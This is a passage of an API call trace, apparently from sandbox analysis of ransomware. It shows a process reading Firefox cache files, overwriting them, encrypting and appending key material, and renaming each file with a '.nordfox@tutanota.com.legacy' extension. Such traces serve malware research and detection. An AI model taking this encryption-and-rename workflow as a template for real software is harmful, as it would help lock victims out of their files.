[0192.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60e7f0 [0192.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.193] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\152707bf9d0e3d40ee384f6696e826a52171e312"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.193] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1033) returned 1 [0192.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x409) returned 0x619c48 [0192.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x409) returned 0x30f5890 [0192.194] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x409, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x409, lpOverlapped=0x0) returned 1 [0192.195] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1033, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.195] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x409, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x409, lpOverlapped=0x0) returned 1 [0192.195] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x409 [0192.195] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.195] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60db90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60db90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.195] WriteFile (in: hFile=0x1b80, lpBuffer=0x60db90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60db90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.195] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.195] CloseHandle (hObject=0x1b80) returned 1 [0192.196] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\152707bf9d0e3d40ee384f6696e826a52171e312"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\152707bf9d0e3d40ee384f6696e826a52171e312.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.197] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dda0 | out: pbBuffer=0x60dda0) returned 1 [0192.197] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.197] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45", dwFileAttributes=0x80) returned 1 [0192.197] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60d878 [0192.197] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.197] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\150eb071d854d5071a223eeb0639b4597c92fb45"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.198] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2779) returned 1 [0192.198] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xadb) returned 0x30f5890 [0192.198] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xadb) returned 0x30f6378 [0192.198] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xadb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xadb, lpOverlapped=0x0) returned 1 [0192.203] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2779, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.203] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f6378*, nNumberOfBytesToWrite=0xadb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6378*, lpNumberOfBytesWritten=0x2e1f9bc*=0xadb, lpOverlapped=0x0) returned 1 [0192.204] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xadb [0192.204] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.204] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.204] WriteFile (in: hFile=0x1b80, lpBuffer=0x60dda0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dda0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.204] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.204] CloseHandle (hObject=0x1b80) returned 1 [0192.204] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\150eb071d854d5071a223eeb0639b4597c92fb45"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\150eb071d854d5071a223eeb0639b4597c92fb45.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.206] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d668 | out: pbBuffer=0x60d668) returned 1 [0192.206] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.206] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", dwFileAttributes=0x80) returned 1 [0192.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60e7f0 [0192.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.206] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14bf1b21a28d68d02d3cf7a0ca4d66159596ecd1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.207] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=819) returned 1 [0192.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x333) returned 0x61ec60 [0192.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x333) returned 0x555b90 [0192.207] ReadFile (in: hFile=0x1b80, lpBuffer=0x61ec60, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesRead=0x2e1f9bc*=0x333, lpOverlapped=0x0) returned 1 [0192.214] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-819, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.214] WriteFile (in: hFile=0x1b80, lpBuffer=0x555b90*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x333, lpOverlapped=0x0) returned 1 [0192.214] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x333 [0192.214] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.214] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d668*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d668*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.214] WriteFile (in: hFile=0x1b80, lpBuffer=0x60d668*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.214] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.215] CloseHandle (hObject=0x1b80) returned 1 [0192.215] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14bf1b21a28d68d02d3cf7a0ca4d66159596ecd1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14bf1b21a28d68d02d3cf7a0ca4d66159596ecd1.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.216] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d248 | out: pbBuffer=0x60d248) returned 1 [0192.216] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.217] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", dwFileAttributes=0x80) returned 1 [0192.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60e3d0 [0192.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.217] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.217] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4409) returned 1 [0192.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1139) returned 0x30f5890 [0192.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1139) returned 0x30d7038 [0192.217] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x1139, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x1139, lpOverlapped=0x0) returned 1 [0192.229] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.229] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7038*, nNumberOfBytesToWrite=0x1139, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1139, lpOverlapped=0x0) returned 1 [0192.229] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1139 [0192.229] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.229] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.229] WriteFile (in: hFile=0x1b80, lpBuffer=0x60d248*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d248*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.229] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.229] CloseHandle (hObject=0x1b80) returned 1 [0192.230] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.231] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dda0 | out: pbBuffer=0x60dda0) returned 1 [0192.231] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.231] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A", dwFileAttributes=0x80) returned 1 [0192.232] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60d668 [0192.232] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.232] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\140445a2980512a346f4ff5725c0d44440b68c0a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.232] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3965) returned 1 [0192.232] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf7d) returned 0x30f5890 [0192.232] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf7d) returned 0x30d7038 [0192.232] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xf7d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xf7d, lpOverlapped=0x0) returned 1 [0192.234] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3965, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.235] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7038*, nNumberOfBytesToWrite=0xf7d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf7d, lpOverlapped=0x0) returned 1 [0192.235] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf7d [0192.235] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.235] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.235] WriteFile (in: hFile=0x1b80, lpBuffer=0x60dda0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dda0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.235] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.235] CloseHandle (hObject=0x1b80) returned 1 [0192.236] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\140445a2980512a346f4ff5725c0d44440b68c0a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\140445a2980512a346f4ff5725c0d44440b68c0a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.271] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e2c8 | out: pbBuffer=0x60e2c8) returned 1 [0192.271] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0192.271] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", dwFileAttributes=0x80) returned 1 [0192.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60d248 [0192.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.272] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1380a3f977c9cb8d60bd5a90243f6a04e42fad04"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.272] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1147) returned 1 [0192.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x47b) returned 0x619c48 [0192.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x47b) returned 0x30f5890 [0192.273] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x47b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x47b, lpOverlapped=0x0) returned 1 [0192.294] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.294] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x47b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47b, lpOverlapped=0x0) returned 1 [0192.294] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47b [0192.294] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.294] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e2c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e2c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.294] WriteFile (in: hFile=0x1b80, lpBuffer=0x60e2c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e2c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.294] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.295] CloseHandle (hObject=0x1b80) returned 1 [0192.295] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1380a3f977c9cb8d60bd5a90243f6a04e42fad04"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1380a3f977c9cb8d60bd5a90243f6a04e42fad04.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.297] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d668 | out: pbBuffer=0x60d668) returned 1 [0192.297] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.297] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", dwFileAttributes=0x80) returned 1 [0192.297] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60db90 [0192.297] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.297] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D" (normalized: 